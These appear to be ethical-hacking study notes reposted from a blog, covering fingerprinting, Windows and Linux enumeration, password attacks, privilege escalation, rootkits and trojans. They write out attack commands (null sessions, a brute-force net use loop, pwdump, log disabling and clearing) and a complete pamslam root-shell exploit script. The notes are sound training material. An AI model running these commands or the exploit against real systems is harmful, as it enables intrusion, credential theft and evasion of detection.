- Does so w/out introducing addl traffic: p0fv2 lcamtuf.coredump.cx.p0f.tgz

Active fingerprinting: Powerful b/c no wait for packets

Disadvantage: Not stealthy: Packets injected into network: Diff bet implementations of TCP/IP stack

Basic methods used:

FIN probe	FIN packet sent to open port: Response recorded • RFC793: Don’t respond but many OS’s like Win will w/RST
Bogus flag probe	Flag field 1 byte in TCP header: Sets 1 of used flags along w/SYN flag in packet • Linux responds by setting same flag in subseq packet
ISN sampling	**Initial Sequence Number:** Looks for patterns in ISN: Some use rando #’s • Others like Win increment # by small fixed amt
IPID sampling	Many sys increment syswide IPID value for each packet sent: • Others [older Win] don’t put IPID in byte order: Increment by 256 for each packet
TCP Initial Window	Tracks win size in packets returned from target device: • Many OS’s use exact sizes that can be matched against DB to ID it
ACK value	Some OS’s send back previous value +1: Others random
Type of service	Tweaks ICMP port unreachable msgs/examines value TOS field: • Some use 0: Others diff values
TCP options	Diff vendors support TCP options in diff ways: Sending packets w/diff options set: • Responses reveal server’s fingerprint
Fragmentation handling	Takes advantage of diff OS vendors handling fragmented packets diff • RFC 1911: Specifies MTU: Max Transmission Unit normally bet 68-65535 bytes

Active fingerprinting tools: Xprobe/Xpobe 2: Mix of TCP/UDP/ICMP to slip past FW’s/avoid IDS sys

- Relies on fuzzy sig matching: Results totaled/usr presented w/score of target machine OS

GUI tools: Winfingerprint || **Finding Open Services:** Telnet/HTTPrint

Netcat: Banner grab: nc -v -n IP Port

Other tools:

ID Serve	NetworkMiner	Satori	Netcraft

Changing banner info: Can help slow someone:

Linux: Change ServerSignature line in httpd.conf to ServerSignature off

Windows: UrlScan tool: Contains RemoveServerHeader feature: Removes/alters ID of server

Auto Mapping: SolarWinds Network Topology Mapper/Nlog (automate/track nmap scans)/CartoReso

From <https://www.piratemoo.net/moosings/ethical-hacking/ch-3-footprintingscanning/>

Post 4

Friday, January 25, 2019 12:23 AM

ENUMERATION & SYSTEM HACKING

February 19, 2017 Moo Comments 0 Comment

Enumeration: In-depth analysis of targeted computers: Actively connecting to each sys to ID usr/sys accts/services/details

Active querying to sys to acquire info on:

NetBIOS/LDAP	SNMP	UNIX/Linux op	NTP/SMPTY/DNS servers

Win Enumeration: Client: XP/Vista/7/8 | Server: 2003/2008/2012/R2: Share somewhat similar kernel

How does OS know who/what to trust? Implementing rings of protection

Protection Ring Model: Various lvls at which to exe code/restrict access: Access control/granularity

Outer bounds: # increases | Lvl of trust decreases

Win Arch: 2 basic modes

1. **Usr mode: Ring 3:** Restrictions
2. **Kernel mode: Ring 0**: Access to all resources

If code deployed on Win sys run in kernel mode: Can hide from usr mode detection

- Code must run in context of acct
- Sys acct: Perform kernel mode activities

2 Things help Win keep track of usr's rights/ID:

1. **SID: Sec Identifier:** Data structure of var length: ID usr/group/computer accts
2. **RID: Relative Identifier:** Portion of SID that ID's usr/group in relation to auth usr has

Example:

S–1–5–21–1607980848-492894223-1202660629–500

S	Sec ID	1	Revision lvl
5	ID Auth (48 bit) = logon id	21	Sub-Auth (21 = NT non-unique)
1607980848	SA	492894223	SA domain ID
1202660629	SA	500	User ID

User ID/Corresponding RID Code

- Each new usr gets next avail RID
- Linux: Access for usrs/processes through **UID (User ID)/GID (Group ID)** in **/etc/passwd**

User ID	Code	User ID	Code
Admin	500	Guest	501
Kerberos	502	First User	1000

Second User	1001		

Win Sec:

- Info/passwds stored in **SAM: Security Acct Manager** DB
- Domain? Domain controller stores info in AD
- Standalone sys not func as domain controller: SAM contains defined local usrs/groups: Also passwds/attributes
- SAM DB stored in **Windows/System32/config** folder: Protected in Registry in **HKLM\SAM**

AD: Active Directory: Service: Contains DB of usrs/objects in domain: Passwd info were once kept in domain SAM

- Unlike NT trust model: Domain collection of machines/associated sec groups managed as single entity
- Designed to be compatible w/**LDAP: Lightweight Dir Access Protocol:** RFC 2251

LSASS: Local Sec Auth Subsystem: Sasser worm exploited it: Buffer overflow: 2004

- Usr mode process
- Responsible for local sys sec policy
- Includes: Controlling access/managing passwd policies/usr auth/sending sec audits to event log

NetBIOS/LDAP Enumeration:

NetBIOS: Created by IBM: Legacy protocol: Still found on some older sys

- LANs: Usually ID themselves using a 15-char unique name
- Nonroutable default: MS adapted to run over TCP/IP
- Used in conjunction w/**SMB: Server Msg Blocks:** Allows for remote access of shared dirs/files

MS Key Ports/Protocols

Port	Protocol	Service
135	TCP	MS-RPC endpoint mapper
137	UDP	NetBIOS name service
138	UDP	NetBIOS datagram service
139	TCP	NetBIOS session service
445	TCP	SMB over TCP

SMB: Designed to make it possible for usrs to share files/folders

IPC: InterProcess Comm: Offers default share on Win sys

- IPC$ Used to support named pipes that programs use for interprocess: AKA: Process-to-process comm
- B/C named pipes can be redirected over network to local/remote sys: Can also enable remote admin

Null session: Sys w/no user ID/passwd: In 2000/XP/2003: Could be set up using net cmd

net cmds

net view /domain Lists domain groups

net view /domain: name Query specific domain group

net view \ \system_name Closer look at any sys

net use \\name\IP\ipc$ " " /u:"" Set up null session: **Once established: Can**

enumerate sys/use tools

DumpSec	Win based GUI enum tool: • Remotely connect to Win machines/dump acct details/share perms/usr info • Ports to spreadsheet • Can provide: Usrnames/SID's/RID's/acct comments/policies/dial-in info
GetAcct	Enables input IP/NetBIOS name of target/extract acct info • Can extract: SID/RID/comments/full name/etc…
SuperScan	Retrieves all avail info about any known usr from any vuln Win sys
GetUserInfo	CLI tool extracts usr info from domain/computer
Ldp	AD sys: After find port 389 open/auth yourself using acct (guest even): • Enumerate all usrs/built-in groups
User2sid	Can retrieve an SID from SAM from local/remote machine • Can be used to retrieve names of all usr accts/more

Other tools avail for diff/specific Win sys: NBTStat: Designed to troubleshoot NetBIOS name resolution probs

- Local cache lookup/WINS server query/broadcast/LMHOSTS lookup/DNS server query

nbstat -A address

- Specific hex codes/tags of unique group returned || Can ID services running on specific sys

Title	Hex Value	Usr/Group	Service
domain	1B	U	Domain master browser
domain	1C	G	Domain controllers
domain	1D	U	Master browser
domain	1E	G	Browser service elections

cotse.com/nbcodes.htm Complete list of NetBIOS name codes

SNMP: Simple Network Management Protocol: Enumeration

- Popular TCP/IP standard for remote monitoring/mgmt of hosts/rtrs/other nodes/devices
- Works through sys of agents/nodes
- Designed so reqs are agents: Agents send back replies
- Reqs/replies refer to config vars accessible by agent SW
- Traps: Used to signify event [reboot/int failure]
- Makes use of **MIB: Management Info Base:** DB of config vars that resides on networking device

SNMPv3: Data encryption/auth: **SNMPv1/2:** Still in use: Clear-txt protocols/weak sec through comm strs

- Default comm strs: Public/private: If strs not changed: Person has enough to enum vuln devices

SNMP enabled devices: Share lot of info about each device: Shouldn't be shared

snmpwalk	Linux CLI: Uses **GETNEXT** reqs to query network entity for tree of info
IP Network Browser	Network discovery tool: Enables detailed discovery on 1 device/entire subnet
SNScan	Free SNMP scanner

Best defense? Turn it off if not needed: If required: **Block 161/162** at network chokepoints/upgrade to SNMPv3

- Change comm strs/diff in each zone of network

Linux/UNIX Enumeration

Rpcclient	rpcclient Attacker can enum usrnames [rpcclient $> netshareenum]
Showmount	showmount Display list of all clients remotely mounted a file sys from specified machine in host param
Finger	Usr/host: View home dir/login time/idle times/office loc/last time both received/read email
Rpfinfo	rpfinfo Helps enum **RPC: Remote Procedure Call protocol:** Make an RPC call to RPC server/reports
Enum4linux	Used for enum info fom Win/Samba sys • Acts as wrapper around Samba cmds [smbclient | rpclient | net | nmblookup]

NTP: Network Time Protocol Enumeration: Designed to sync clocks of networked computers

- Host using Kerberos/other time-based services need time server to sync sys
- UDP 123

Basic cmds:

Ntpdate	Collect time samples
Ntptrace	Follow time servers back up chain to primary time server
Ntpdc	Query about state of time server
Ntpq	Monitor performance

PresenTense Time Server	**NTP Server Scanner**	**LAN Time Analyzer**

SMTP: Simple Mail Transfer Protocol: Enum: Trans of email

- TCP 25
- Can be used to perform usrname enum via EXPN | RCPT | VRFY cmds
- Can also leverage usrnames that have been obtained to conduct further attacks on other sys
- Can be performed w/utils like Netcat

nc -v -z -w 2 IP 1-1024

NetScan Tools Pro	**Nmap**	**Telnet**

DNS: Domain Name System: Enum: Locating info about DNS: ID’ing internal/external DNS servers/lookups

DigDug	**WhereIsIP**	**NetInspector**	**Men and Mice Management Console**

System Hacking

Nontechnical Passwd Attacks: Remain popular b/c orgs stepped up game: Basic techniques:

Dumpster diving	Looking through company’s trash to find info that may help: Access codes/notes/passwds/acct info
Social engineering	Manip of ppl into performing actions/divulging confidential info
Shoulder surfing	Act of watching over someone’s shoulder to get info: Passwds/logins/acct details

Technical Passwd Attacks:

- Passwd guessing
- Automated passwd guessing
- Passwd sniffing
- Keyloggers

Passwd Guessing	Words/phrases from enum can be clued in on Focus on accts that: • No passwd changes for long time • Have weak protected service accts • Poorly shared • Never logged in • Have info in comment field **If you can ID such an acct: issue net use cmd:** **net use * \\IP\share * /u:name**
Auto Passwd Guessing	Method of trying each acct 1/2x for weak passwds • **Looping process:** Done by constructing simple loop using Win cmd shell **net use** syntax 1. Simple usr/pass file 2. Pipe file into **FOR** cmd **FOR /F “token=1, 2*” %i in (creds.txt) do net use \\target\IPC$ %i /u:%j** Many SW programs auto passwd guess: • NAT (NetBIOS Auditing Tool): Build list of usrs from enum: Save to txt ○ Create 2nd list w/potential passwds ○ Feed both into NAT ○ Attempts to use each name to auth w/each passwd **nat** [**-o file**] [**-u userlist**] [**-p passlist**] *<address>* • Brutus • THC Hydra • Venom

Passwd Sniffing: Req’s physical/logical access to device: Can simply sniff creds off the wire as usrs log in

Pass-The-Hash: Allows attacker to auth to remote server using LM/NTLM hash of usr’s passwd

- Eliminates need to crack/brute force hashes to obtain clear-txt passwds
- **Win: Doesn’t salt passwds:** Remains static from session to session until passwd changed
- Obtaining hash can be func equiv to clear-txt
- Rather than crack hash: Replay them to gain unauth access

ScoopLM: Designed to sniff passwd hashes/Sniffs Win auth traffic: Detected/captured: Build-in dic/brute forcer

Kerberos: Tools to capture/crack auth: Dev to provide sec means for mutual auth:

- Enables org to implement SSO: Single-Sign-On

KerbCrack: Can be used to attack Kerberos: Consists of 2 separate programs

1. Sniffer listens on 88 for Kerberos logins
2. Cracking program to dic/brute-force passwd

Keystroke Loggers: Can be SW/HW devices used to monitor activity:
HW: Usually installed while usrs away from desks/Some use WiFi
SW: Sit bet OS/keyboard: All op in stealth mode/grab all txt usr enters

SW Keystroke Loggers

ISpyNow	**PC Activity Monitor**	**RemoteSpy**	**Spector**	**KeyStrokeSpy**

Priv Escalation/Exploiting Vulns: If attacker gains access to Win sys as standard: Next step is priv escalation

Common techniques:

- Exploiting app/tricking usr into exe program
- Copy priv escalation tool to target sys/schedule exploit to run at predetermined time: ex: AT cmd
- Gaining interactive access to sys: ex: Terminal Server, pcAnywhere/etc…

Exploiting An App:
Example: Shift key 5/more x -> StickyKeys -> Program fine -> Only issue implementation

- If attacker can gain access: May be possible to replace sethc.exe w/cmd.exe
- After replacing file: Can invoke cmd/exe explorer.exe/cmds w/full access

Why does it work? B/C it slips through all the Win protection checks:

1. Checks .exe digitally signed: cmd.exe is
2. Checks cmd.exe located in sys dir [%systemroot%\system32] validating integrity lvl/admin perms
3. Checks if exe on internal list of Win protected sys files/known to be part of OS: cmd.exe is
4. Win thinks launching accessibility feature StickyKeys/instead of shellcode running as LocalSystem

Exploiting a Buffer Overflow: Buffer overflows/mem corruption/heap attacks patched over time

- Only work for specific vers of OS/apps

Heap spraying: Act of loading large amt of data in heal along w/shellcode

- Aim: Create right conditions in mm to allow shellcode to be exe

Priv escalation tools:

- **Billybastard.c** 2003/XP
- **ANI Exploit** Vista
- **Getad.exe** 2003/XP
- **ERunAs2X.exe** 2000

Owning the Box: Ensuring one can maintain access after compromise

- One way of doing so? Compromising other accts
- Stealing SAM can give attacker potential access to all passwds

MS changed things w/NT SP3: Added a 2nd layer of encryption called SYSKEY: Adds 128-bit encryption

- Key req by sys every time it's started so passwd data accessible for auth purposes

Attackers can steal SAM through phys/logical access:

If physical: SAM can be obtained from NT ERD [Emergency Repair Disk] from C:\winnt\repair\sam

- Newer vers of Win place a backup copy in: C:\winnt\repair\regback\sam
- SYSKEY prevents this from being easily cracked

Can always just reset passwd: Tools like:

- **LINNT**
- **NTFSDOS:** Can mnt any NTFS partition as a logical drive: Read-only network file sys driver for DOS/Win
  - If loaded onto CD/USB: Powerful access tool

Logical access: Easier possibilities: SAM DB in binary: Not easy to inspect

Tools like:

- **Pwdump/LCP:** Can be used to extract/crack SAM

Auth Types: Win supports many auth protocols: Incl those for network/dialup/Internet auth

- **Network/local usrs: NT Challenge/Response: NTLM**
  - Original LM (LAN manager) auth replaced by NTLMv2

Win Auth Protocols include:

LM	95/98/ME: DES
NTLM	NT until SP3: DES/MD4
NTLMv2	Post NT SP3: MD4/MD5
Kerberos	1st in 2000/can be used by all current Win vers incl. Server 2012/8

Backwards compatibility: LM can still be used: Easy to crack:

- Uppercased/padded/up to 14 chars/divided into 2 7-char parts
- 2 hashed results are concatenated/stored as LM hash: Stored in SAM

Example: Passwd is moo!

1. Passwd encrypted w/LM alg: Converted to uppercase: MOO!
2. Passwd padded w/null chars to make it 14-char length: MOO!_ _ _ _ _ _ _ _ _ _
3. Before encrypting: 14-char str divided into 2 7 char pieces: MOO and ! _ _ _ _ _ _ _
4. Each str encrypted individually: Results concatenated together

LM, NTLM, NTLM2

Attribute	**LM**	**NTLM**	**NTLMv2**
Passwd	Yes	No	No
Hash	DES	MD4	MD5
Alg	DES	DES	HMAC

Cracking the Passwds:

1 way to rem passwds from local/remote sys is by using **L0phtcrack:**

LC6 current ver:

- Extracts hashes from local/remote machine: Can sniff passwds from local network if have admin

Tools: FGdump/PWdump

- PW works by a DLL process injection: Allows program to hijack a priv process

C:\ pwdump > pwdump7 192.168.13.0 password.txt

Completed

- Need to establish session to an admin share: Resulting text file reveals hashed passwds

C:\ pwdump> type password.txt

3 Basic types of passwd cracking:

Dictionary	Pulls words from dictionary/word lists to attempt to discover usr's passwd: Predefined • Looks for match bet encrypted passwd/encrypted dic word
Hybrid	Uses dictionary/word list/prepends/appends chars/#'s to dic words in attempt to crack Example: Password -> 1password -> passwrd1 -> p@ssword -> pa44w0rd -> etc…
Brute-force	Uses random #s/chars to crack usr's password: Can take a long time: Based on CPU power

Tools: L0phtcack/LCP/Cain and Abel/John can all perf dictionary/hybrid/brute-force

Cain and Abel: Multipurpose tool: Passwd cracking/Win enum/VoIP sniffing

- Passwd cracking: Dictionary/brute-force w/rainbow tables

John the Ripper: Available for 11 types of UNIX sys/Win: Can crack most common passwds

- Including: Kerberos AFS/Win hashes: Add-on modules avail: Can enable to crack Open-VMS passwds
- Win creds cache/MySQL passwds

RainbowCrack Technique: Philippe Oechslin: Faster time-mem trade-off technique

- Precomputes all possible passwords in advance
- After process complete: Passwds/corresponding encrypted values stored in file called a **rainbow table**
  - Stored passwd can be quickly compared to values stored in table/cracked w/in a few secs

RainbowCrack/Ophcrack: Examples

Hiding Files/Covering Tracks:

Locard's exchange principle:

"Whenever someone comes in contact w/another person/place/thing, something of that person is left behind"

- Disable logging/clear log files/eliminate evidence/plant addl tools/cover tracks

Disabling logging	**Auditpol** originally included in NT Resource Kit for admins • Point at victim's sys w/admin access: **C:\ >** auditpol \\192.168.13.10 /disable Auditing disabled
Clear log file	Tools: **Winzapper/Evidence Eliminator/ELSave** • **ELSave** will rem all entries from logs: Except 1 entry that shows logs were cleared **elsave -s \\192.168.13.10 -l "Security" -C**
Rootkits	Malicious code designed to allow an attacker to get expanded access/hide presence

	• Traditionally a Linux tool • FU/Vanquish/Hacker Defender/AFX all avail for Win sys • Can be classified as hypervisor kernel/app/library lvl/boot loaders • Kernel lvls: Particularly dangerous: Can take control of OS • If suspicious: Use an MD5 hashing utility program like TripWire to determine viability of programs

File Hiding:

- Some people may just attempt to use attribute to hide files, whereas others might place files in low traffic areas

NTFS alternate data steams (ADS)

- **NTFS ADS:** Dev to provide compatibility outside of Win w/structures such as HFS: Mac Hierarchical FS
  - Structures use resource forks to maintain info associated w/file (icons/etc…)

Streams: Sec concern: Attacker can use streams to hide files on sys

- ADS: Means of hiding malware/tools on a sys: Almost completely hidden: Files that can be exe
- **To del stream: Pointed must be del 1st (or copy to a FAT FS): FAT can't support ADS**

Create ADS:

Type file.zip > readme.txt:file.zip Streams file.zip behind readme.txt

Erase file.zip Erase original secret file

Start c:\readme.txt:file.zip Retrieve hidden file | Exe ADS/open file

Tools that can detect streamed files:

- **Streams** MS
- **Sfind** Forensics
- **LNS**

Linux: Doesn't support ADS: **Bmap**: Can pack data into existing slack space: Size reqs

Gain cmd prompt on victim's sys: Allows attacker to actually own box

Tools: Psecex/Remoexec/Netcat

From <https://www.piratemoo.net/moosings/ethical-hacking/enumeration-system-hacking/>

Post 5

Friday, January 25, 2019 12:23 AM

LINUX/ASSESSMENT TOOLS

March 5, 2017 Moo Comments 0 Comment

Linux: Common dirs

/	Root dir
/bin	Common cmds: ls | sort | date | chmod
/dev	Devices on sys: Floppy/HDD/CD-ROMs/etc
/etc	Admin config files: passwd/shadow
/home	
/mnt	Mnting devices: CD-ROMs/etc
/sbin	Admin cmds/daemon processes
/usr	Usr docs/graphics/libs/var of other usr/admin cmds/files

/ (root)

/bin	**/dev**	**/etc**	**/mnt**	**/usr**	**/sbin**
			CD-ROM USB	/usr/doc /usr/share	

ID's by acct: May belong to group(s): Perms: 3 options

1. Read
2. Write
3. Execute

ls -l Current perms/owner/group for file/dir: Contents of dir in/privs for usr/group/others

drwxr-xr-x	**2**	**moo**	**users**	**32768**	**Feb 28 00:31**	**demodir**

Perms listed: 1st column: d – directory | – demofile

Example:

rwx | rwx | rwx

1. Access rights usr (read/write/execute)
2. Group rights
3. Access all others have to demodir

Usr/owner of file/dir | Name of group for file/dir

chmod Change access perms to file/set of: Symbolic/absolute:

- Symbolic: Symbols: rwx
- Absolute: Octal values
  - **Read:** 4
  - **Write:** 2
  - **Execute:** 1

Basic Cmds

Cmd	Info
cat	Lists contents of file
cd	Change dir
chmod	Change perms of file/folder
cp	Copy
history	History of up to 500 cmds
ifconfig	IP info
kill	Kill running process via PID
ls	List contents of folder
man	Man pages
mv	Move files/dir
passwd	Change passwd
ps	Process status
pwd	Print working dir
rm	Rem file
rm -r	Rem dir/all contents
ctrl+p	Pause program
ctrl+b	Put program in bg
ctrl+z	Put program to sleep

UID: Usr ID: Access for usrs/sys processes

GID: Group ID: Logical grouping of usrs who have similar reqs /etc/passwd

- Root: Always 1st acct: Always UID/GID 0
- Other special accts w/services/daemons listed after root: Values below 100
- RH starts usrs: UID 500

moo:x:503:503:Cows: /home/moo: /bin/bash

moo	Name
x	Encrypted passwd: Shadow passwds held in /etc/shadow • Shadow file used to increase sec
503	UID
503	GID
Cows	Usr description: Finger gives this info
/home	Login program uses field to define usr $HOME var
/bin/bash	Login shell: When auth: Login program also sets usrs $SHELL var to field

useradd Shadow file only readable by root

su Sub usr: Perform duties as diff usr than logged in as

Passwds/Shadow File

Linux: Many times MD5/DES: Data Encryption Standard: Limits passwds to 8 alphanumeric chars

- Includes /etc/shadow file for extra sec

Moving passwds to shadow file: Makes less likely encrypted passwd can be decrypted: Only root has access

Fmt: Acct_Name:Password:Last:Min:Max:Warn:Expire:Disable:Reserved

more /etc/shadow See shadow passwds

Salts: Adds layer of randomness to passwd: MD5 hashing: If adding secret: Values still look same

- Can be one of 4096 values/further scrambles

MD5 passwd: 32 char long: Begins w/**1** || Chars bet 2nd/3rd **$** represent salt

Salt -> MD5 Hashing Alg -> Salt/Passwd Hash

Clear txt passwd

Passwds should be stored in shadow b/c readable: Passwds weakest forms of auth

Tokens: Something you have || **Biometrics**: Something you are

PAM: Pluggable Authentication Module: Controls interaction bet usr/auth [Telnet/logging in con/changing passwd]

- Support stronger auth: Kerberos/S/Key/RADIUS
- Holds config file/modules specific to PAM in /etc/pam.d/

Linux Passwds: Tools: Hashcat/OphCrack/John the Ripper

[moo@moo]# ./john -test Verify John works: Runs test mode

Compressing/Installing/Compiling Linux

tar: Tape Archive Program: Standard archive: Dev as backup SW for UNIX

- Collects many files to single file | Doesn’t do compression: 2nd program needed

gzip: File compression program

Installing programs	./configure	make	make install

Compile a program

[root@moo]# .vi hello.c

```
#include <stdio.h>

int main(int argc, char ** argv)
{
printf(“Hello world!\n”);
return 0;
}
```

```
[root@moo]# gcc -o hello hello.c
[root@moo]# ./hello
Hello world!
```

./ Ensures Linux looks in local dir for specified executable

Hacking Linux: Cmds to find common apps:

```
ls -alh /usr/bin
ls -alh /sbin
ls -alh /var/cache/apt/archivesO
dpkg -l
```

rpm -qa

Enumeration:
Pin point flavors: Rwho, Rusers, SMTP
Rwho/Rusers: RPC services that can give info about various usrs on sys

- **rpcinfo -p** Status of Rwho/Rusers
- Rusers depends on Rwho daemon

Finger: Name associated w/email: May tell whether usrs currently logged in/info

- Originated as part of BSD

SMTP: Sometimes helpful in ID usrs

- **vrfy** (verify) | **expn** (expand) -> Guess usrs: If exists: Get back email w/ @: If not: exist: Error

Priv Escalation: Leveraging bug/vuln in app/OS to gain access to resources: Normally wouldn’t have

- ID services running/ID if any have root

ps aux
ps -ef
top
cat/etc/service
L0pht’s Pamslam vuln [old]: Example of priv escalation

```
cat >_pamslam.c <<EOF

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void _init(void)
{
setuid(geteuid());
system(“/bin/sh”);
}
EOF
echo -n .
echo -e auth\ \ trequired\ \ t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf
echo -n .
gcc -fPIC -o _pamslam.o -c _pamslam.c
echo -n o
ld -shared -o _pamslam.so _pamslam.o
echo -n o
chmod 755 _pamslam.so
echo -n o
rm _pamslam.c
rm _pamslam.o
echo o
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
```

```
sleep ls
rm _pamslam.so
rm _pamslalm.conf
```

Check services running as root:

```
ps -ef | grep root
ps aux | grep root
```

```
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat/etc/cups/cupsd.conf
cat /etc/inetd.conf
```

Maintaining access/covering tracks:

Rootkits: Contains set of tools/replacement exe for many OS critical components:

- Can hide evidence of presence/give backdoor access: Req root: Can contain log cleaners

Divided into categories

Hypervisor	Mods boot seq of VM's
HW/Firmware	Hides in HW/Firmware
Bootloader	Replaces original bootloader
Library lvl	Replaces original sys calls
App lvl	Replaces app bins w/fake ones
Kernel lvl	Adds malware to sec kernel

Traditionally: rootkits replaced bins like: ls/ifconfig/inetd/killall/login/netstat/passwd/pidof/ps with Trojan ver

- Written to hide certain processes/info from admins
- Detectable b/c of change in size of bins
- MD5Sum/Tripwire: Can help uncover these types of hacks

Some target LKM: Loadable Kernel Module:

Kernel rootkit: Loaded as driver/kern ext: Corrupts it: Avoids detection/SW methods

- Avoid? Recompile kern w/out support for LKM's

Some rootkits can hide by using API hooks

- Hooks only work against other processes on infected comp while sys running
- If sys analyzed as static drive by 3rd-party: Existence may show

A few rootkits:

Adorm	Doesn't replace sys bin b/c LKM: Intercepts sys calls/mods as required

	• Creates wrapper around each call/sanitizes output
Flea	Hides actions from admin
T0rm	Breaks Netstat/ps bin: 31336 bytes: Both give clues rootkit installed
TDSS/Alureon	Financial fraud: Bypasses kernel mode driver signing

Tools to detect rootkits: Detection Types:

1. Integrity-based
2. Sig-based
3. Cross-view
4. Heuristic

Audit Tools:

Chkrootkit	Search for signs of rkit
RootKitRevealer	Standalone util used to detect/rm complex rkits
McAfee Rootkit Detective	Look for/find known rkits: Can examine sys bins for mod
Trend Micro RootkitBuster	Scans file/sys bins for known/unknown rootkits

Hardening Linux: Programs/services nonessential might include:

wget	Fetching data over HTTP/HTTPS/FTP
Finger	Retrieve basic info about usr/host
Lynx	Txt-based browser: Supports HTTP/HTTPS/FTP
Curl	wget-like: Supports protocols: Telnet/gopher
SCP	Sec File Transfers using SSH
FTP	Cmd-line FTP client
Telnet	
TFTP	Trivial FTP
Ping	

Chroot: Puts program in sandbox:

Sandbox: Concept of limiting activity of program/applying boundaries

- Redefines root for program/login session
- Jails process into 1 part of file sys
- Any files chrooted program needs for proper func must be present inside jail
- Commonly used by programs like: FTP/BIND/Mail/Apache

TCP Wrapper: Protect comps from attacks: Now being replaced by xinetd.d

- Network services: Finger/FTP/Rlogin/Telnet/TFTP can be config for TCP Wrapper use
- Specify which hosts allowed access
- Activated by having inetd call TCP Wrapper daemon
- TCP/UDP use
- 2 files used to verify access: hosts.allow/hosts.deny
- Inserts itself bet service/outside world

2 files for mgmt of access control:

hosts.allow	Lists all hosts w/connectivity to sys that can connect to specific one
hosts.deny	Works in same fashion as most ACL's: If not permitted/then denied

Tripwire: Tool: File-integrity program: Performs check by using crypto checksums

- Can help ID whether file tampering occurred
- Can maintain snapshot of sys
- Creates 1-way hash value for files/dirs: Hash stored/periodically rescans
  - New scan value compared against stored
  - If no match: Flag set
  - Policy: twpol.txt and in /etc/tripwire dir

Logging in Linux: Allows log sys/apps/protocols

Output: /var/log || /etc/var/lastlog Tracks last login/usr accts into sys

Automated Assessment Tools

3 basic scanner categories:

1. **Source code**
2. App
3. Sys

Source Code Scanners: Can assist in auditing sec problems in source code

Can be used to detect:

- Buffer overflows | Race conditions | Priv escalation | Tainted input

Buffer overflows: Enable data to be written over portions of exec

Race conditions: Can prevent protective sys from func properly: Deny resources to rightful owners

Priv escalation: Code runs w/higher privs than usr who executed it should have

Tainting input: Allows potentially unchecked data through defenses: Possibly qualified as already error-checked info

Tools to find these problems include:

Flawfinder	Python: Searches through source code: Lists potential flaws by risk
RATS	C: **Rough Auditing Tool** • External XML collections of rules that apply to each lang • Can scan C/C++/Perl/PHP/Py for vulns/potential buffer overflows
StackGuard	Compiler builds programs hardened against stack-smashing • After programs compiled w: Largely immune to bo's
MS /GS	Provides virtual speed bump bet buffer/return address • If overflow occurs: Works to prevent execution

App Lvl Scanners: Testing against completed apps/components: Looks at vulns as program running: Examines configs

Whisker	Can check for CGI: Common Gateway Int vulns • **CGI**: Can leak sysinfo that should be confidential • Allows remote usrs to exe inappropriate cmds • Reqs Perl
N-Stealth	Extensive DB of 30K+ vulns/exploits: Report: Can analyze problems as high/medium/low threat
WebInspect	Web app vuln-scanning: Can scan for 1,500+ web server/app vulns: Smart guesswork/weak passwd check
Nikto	Perl script web-vuln: Supports port scanning
AppDetectiv	Pen/audit:

e	• **Pen:** Examines sys from hacker POV ○ Doesn’t need internal perms: Queries/attempts to glean info about DB • **Audit:** Detect any # of sec violations: Missing passwds/easily guessed accts/missing SP’s/patches

Sys-Level Scanners: Can probe entire sys/rather than individual apps: Can run against single/range of addr

- Can test effectiveness of layered sec measures
- Doesn’t probe source code of apps: Can sweep entire networks in search of variety of vulns
- Can be used remotely
- Can’t audit source of processes providing services: Must rely on responses of service: All possible inputs can’t be tested
- Can crash sys: Not considered stealth: Not sub for other tests

Nessus	Cross-platform vuln scanner: Client/server arch: • UNIX/Linux/Win • Supports many plug-ins ranging from harmless to ones that can bring down server
NeWT	Nessus Win Tech: Win vers of Nessus
SAINT	Industry-respected vuln scanning/ID • Web-based int • Linux/Unix • CVE: Certified Vuln/Exposures compliant • Allows prioritization/rank vulns: You determine most critical issues
SARA	Adapted to interface other open source products • Gentle scanner: Doesn’t present risk to network infrastructure • SANS Top 20 • Supports CVE • Unix/Linux/OS X
ISS	ISS Internet Scanner • Win • Extensive vuln scanning/ID across network platforms/devices • After scan/ID: Can analyze config/patches/OS/apps • Can ID 1,300+ network devices • Can generate reports
NetRecon	Symantec: Vuln scanning/ID: Capability to learn about network as scanning
Retina	eEye: Scanning across sys/network devices: Wired/wireless
LANguard	Full-service: Reports info like: • SP lvl each machine/missing patches/open shares/ports • Services/active apps/Registry entries/weak passwds/usrs/groups/etc
VLAD	Open Source: ID’s vulns: • SANS Top 10 list • Linux/OpenBSD/FreeBSD

Automated Exploit Tools

Metasploit	All-in-one exploit test/dev tool • Open Source: Can be compared to Canvas/CORE Impact • Linux/Win

BeFF	Browser Exploitation Framework: Similar to Metasploit: Focuses on web browsers • Assess sec posture of target env using client-sides
Canvas	Automated: Win/Linux
CORE Impact	Advanced commercial pen testing tool suite • Mature point/click automated exploit/assessment tool • Scanning through control phases • Supports pivoting: Allows compromised machine to be used to compromise another

From <https://www.piratemoo.net/moosings/ethical-hacking/linuxassessment-tools/>

Post 6

Friday, January 25, 2019 12:23 AM

TROJANS/BACKDOORS

March 12, 2017 Moo Comments 0 Comment

Trojans: Programs that pretend to do 1 thing: When loaded perform more malicious act

Name history: Trojan: Homer's Iliad: Greeks: SW term same concept

- Can't spread themselves: Rely on uninformed users

Types: EC-Council groups as follows:

Cmd shell	GUI	Email	Doc	Defacement	Remote-Access
Data-hiding	Banking	DoS	FTP	SW-disabling	Covert-channel

More specifically:

RATs	**Remote Access Trojans:** Full control: Usually set up as client/server programs Example: Poison Ivy
Data Hiding	Hides user data: Ransomware: Restricts access: Demands ransom be paid for rm
E-Banking	Intercept victim bank info: Purpose: Financial gain: Usually func as a TAN grabber • **TAN: Transaction Auth Number** • Can use HTML injection/form grabbing Example: Zeus
DoS	Knock out specific service/bring sys offline
Proxy	Helps hide/allow performing activities from victim machine
FTP	Port 21: Allows ul/dl/mv of files at will on victim machine
Sec-SW disabler	Attack/kill AV/SW FW's

Ports/Comm Methods:

Overt: No attempt made to hide transmission of data as moved on/off victim machine

Covert: Hiding transmission of data: Many Trojans that open covert chans op as backdoors

Common Trojans

Name	**Default Protocol**	**Default Ports**
Back Orifice	UDP	31337
Beast	TCP	6666/9999
Citrix ICA	TCP/UDP	1494
Death	TCP/UDP	2
DP Trojan	TCP	669
Loki	ICMP	NA
